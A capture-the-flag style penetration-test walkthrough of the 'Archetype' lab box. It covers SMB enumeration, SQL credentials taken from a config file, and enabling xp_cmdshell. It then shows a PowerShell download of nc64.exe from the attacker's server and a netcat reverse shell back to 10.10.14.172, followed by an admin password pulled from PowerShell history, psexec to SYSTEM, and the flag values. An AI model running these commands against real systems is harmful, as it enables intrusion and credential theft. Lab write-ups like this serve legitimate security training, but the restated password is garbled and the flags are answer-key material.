

Archetype



Disctipcion of pentest on Archetype box

First we going to start with scans

```
nmap -sV -sC 10.129.150.23
```

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-30 14:16 BST
```

```
Nmap scan report for 10.129.150.23
```

```
Host is up (0.062s latency).
```

```
Not shown: 996 closed tcp ports (conn-refused)
```

```
PORT      STATE SERVICE      VERSION
```

```
135/tcp   open  msrpc        Microsoft Windows RPC
```

```
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
```

```
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
```

```
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
```

```
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
```

```
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
```

```
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
```

```
| Not valid before: 2023-09-30T13:12:57
```

```
|_Not valid after: 2053-09-30T13:12:57
```

```
|_ssl-date: 2023-09-30T13:17:03+00:00; +2s from scanner time.
```

```
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

```
Host script results:
```

```
| smb-security-mode:
```

```
|  account_used: guest
```

```
|  authentication_level: user
```

```
|  challenge_response: supported
```

```
|_ message_signing: disabled (dangerous, but default)
```

```
| smb2-time:
```

```
|  date: 2023-09-30T13:16:55
```

```
|_ start_date: N/A
```

```
| smb2-security-mode:
```

```
|  311:
```

```
|_ Message signing enabled but not required
```

```
| smb-os-discovery:
```

```
|  OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
```

```
|  Computer name: Archetype
```

```
|  NetBIOS computer name: ARCHETYPE\x00
```

```
|  Workgroup: WORKGROUP\x00
```

```
|_ System time: 2023-09-30T06:16:57-07:00
```

```
|_clock-skew: mean: 1h45m03s, deviation: 3h30m02s, median: 1s
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 20.68 seconds
```

We can se that ports are open and Mincrosoft SQL database is open on 1433

lest enumerate SMB with smbclient tool

```
smbclient -N -L \\10.129.150.23
```

```
Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
backups        Disk
C$             Disk      Default share
IPC$           IPC       Remote IPC
SMB1 disabled -- no workgroup available
```

we found that backup is non-Administrative available

lest try to enumerate them

```
smbclient -N \\10.129.150.23\\backups
Try "help" to get a list of possible commands.
smb: \>
```

```
smb: \> ls
.                D      0 Mon Jan 20 12:20:57 2020
..               D      0 Mon Jan 20 12:20:57 2020
prod.dtsConfig   AR     609 Mon Jan 20 12:23:02 2020
```

5056511 blocks of size 4096. 2534633 blocks available

```
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \>
```

we found file prod.dtsConfig it seems like config file we dowlad that by comand get maby we going to find something intrestig inside

```
$cat prod.dtsConfig
<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..."
GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property"
Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial
Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</
ConfiguredValue>
  </Configuration>
```

We found authentication data for user sql_svc with password Mp13g4c0r23

we search for mssqlclient.py and try to conect with those data

```
python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.150.23 -windows-auth
Impacket v0.12.0.dev1+20230928.173259.06217f05 - Copyright 2023 Fortra
```

```
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
```

```
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc dbo@master)>
```

we conect sucesfully


```
QL (ARCHETYPE\sql_svc dbo@master)> help
```

```
lcd {path}          - changes the current local directory to {path}
exit                - terminates the server process (and this session)
enable_xp_cmdshell   - you know what it means
disable_xp_cmdshell - you know what it means
enum_db             - enum databases
enum_links          - enum linked servers
enum_impersonate     - check logins that can be impersonated
enum_logins         - enum login users
enum_users          - enum current db users
enum_owner          - enum db owner
exec_as_user {user}  - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd}    - executes cmd using xp_cmdshell
xp_dirtree {path}    - executes xp_dirtree on the path
sp_start_job {cmd}   - executes cmd using the sql server agent (blind)
use_link {link}      - linked server to use (set use_link localhost to go back to local or use_link ..
to get back one step)
! {cmd}             - executes a local shell cmd
show_query          - show query
mask_query          - mask query
```

we google that we can use comand to spawn comand shell

xp_cmdshell (Transact-SQL)

Article • 05/31/2023 • 14 contributors

 Feedback

In this article

Syntax

Arguments


Return code values

Result set

Show 5 more

Applies to:  SQL Server

Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text.

 Transact-SQL syntax conventions

Syntax

```
syntasql
```

 Copy

```
xp_cmdshell { 'command_string' } [ , NO_OUTPUT ]
```

but now we dont have privleges to exec that comand so we going to use metasploid to gain admin priv

Module options (auxiliary/admin/mssql/mssql_escalate_dbowner):

Name	Current Setting	Required	Description
-----	-----	-----	-----
PASSWORD	M3g4c0rp123	no	The password for the specified username
RHOSTS	10.129.207.19	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1433	yes	The target port (TCP)
TDSENCRYPTION	false	yes	Use TLS/SSL for TDS data "Force Encryption"
USERNAME	sql_svc	no	The username to authenticate as
USE_WINDOWS_AUTHENT	true	yes	Use windows authentication (requires DOMAIN option set)

View the full module info with the info, or info -d command.

```
[msf](Jobs:0 Agents:0) auxiliary(admin/mssql/mssql_escalate_dbowner) >> exploit
[*] Running module against 10.129.207.19
```

```
[*] 10.129.207.19:1433 - Attempting to connect to the database server at 10.129.207.19:1433 as sql_svc...
[+] 10.129.207.19:1433 - Connected.
[*] 10.129.207.19:1433 - Checking if sql_svc has the sysadmin role...
[+] 10.129.207.19:1433 - sql_svc has the sysadmin role, no escalation required.
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(admin/mssql/mssql_escalate_dbowner) >>
```

now we have admin priv

```
SQL (ARCHETYPE\sql_svc dbo@msdb)> EXEC xp_cmdshell 'whoami';
[-] ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
```

as admn we have to reconfigure xp_cmdshell configuration
to do that we google that

```
SQL (ARCHETYPE\sql_svc dbo@msdb)> EXEC sp_configure 'show advanced options', '1'
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc dbo@msdb)> RECONFIGURE
SQL (ARCHETYPE\sql_svc dbo@msdb)> EXEC sp_configure 'xp_cmdshell', '1'
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc dbo@msdb)> RECONFIGURE
SQL (ARCHETYPE\sql_svc dbo@msdb)> EXEC xp_cmdshell 'whoami';
output
```

```
-----
archetype\sql_svc
```

```
NULL
```

```
SQL (ARCHETYPE\sql_svc dbo@msdb)>
```

now we are able to execute comand on machine

its time to build riverst shell

we dowlad file nc63.exe wich help bulid our shell

we gona host http server

```
sudo python3 -m http.server 80
[sudo] password for parrot:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

and set liner on port 443

```
sudo nc -lnvp 443
[sudo] password for parrot:
listening on [any] 443 ...
```

now we going to dowlad file nc64.exe no our host and exec rivers shell

```
SQL (ARCHETYPE\sql_svc dbo@msdb)> EXEC xp_cmdshell 'powershell -c cd C:
\Users\sql_svc\Downloads ; wget http://10.10.14.172/nc64.exe -outfile nc64.exe ';
output
-----
NULL
```

we see sucess

10.129.207.19 - - [01/Oct/2023 11:35:21] "GET /nc64.exe HTTP/1.1" 200 -

```
SQL (ARCHETYPE\sql_svc dbo@msdb)> EXEC xp_cmdshell 'powershell -c cd C:\Users\sql_svc\Downloads ; .\nc64.exe -e cmd.exe 10.10.14.172 443';
```

and we got our shell

```
connect to [10.10.14.172] from (UNKNOWN) [10.129.207.19] 49678
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\sql_svc\Downloads>
```

now its time to escalate our priv

we going to use winpeas script

once again we going to upload file on our host

after exec script w get intresting files info

```
Analyzing Windows Files Files (limit 70)
```

```
C:
\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\Default\NTUSER.DAT
C:\Users\sql_svc\NTUSER.DAT
```

we going to check file history powershell

```
PS C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat
ConsoleHost_history.txt
cat ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
```

and we found admin psswd MEGACORP_4dm1n!!

now we going to use tool psexec.py from impacked to conect as admin

```
python3 psexec.py administrator@10.129.207.19
Impacket v0.12.0.dev1+20230928.173259.06217f05 - Copyright 2023 Fortra
```

Password:

```
[*] Requesting shares on 10.129.207.19.....
[*] Found writable share ADMIN$
[*] Uploading file HAhjaggl.exe
[*] Opening SVCManager on 10.129.207.19.....
[*] Creating service iFPS on 10.129.207.19.....
[*] Starting service iFPS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32> whoaim
'whoaim' is not recognized as an internal or external command,
operable program or batch file.
```

```
C:\Windows\system32> whoami
nt authority\system
```

```
C:\Windows\system32>
```

now is only have to find the flags for user and admin

```
PS C:\Users\sql_svc\Desktop> cat user.txt
cat user.txt
3e7b102e78218e935bf3f4951fec21a3
```

```
PS C:\Users\Administrator\Desktop> cat root.txt
b91ccec3305e98240082d4474b848528
```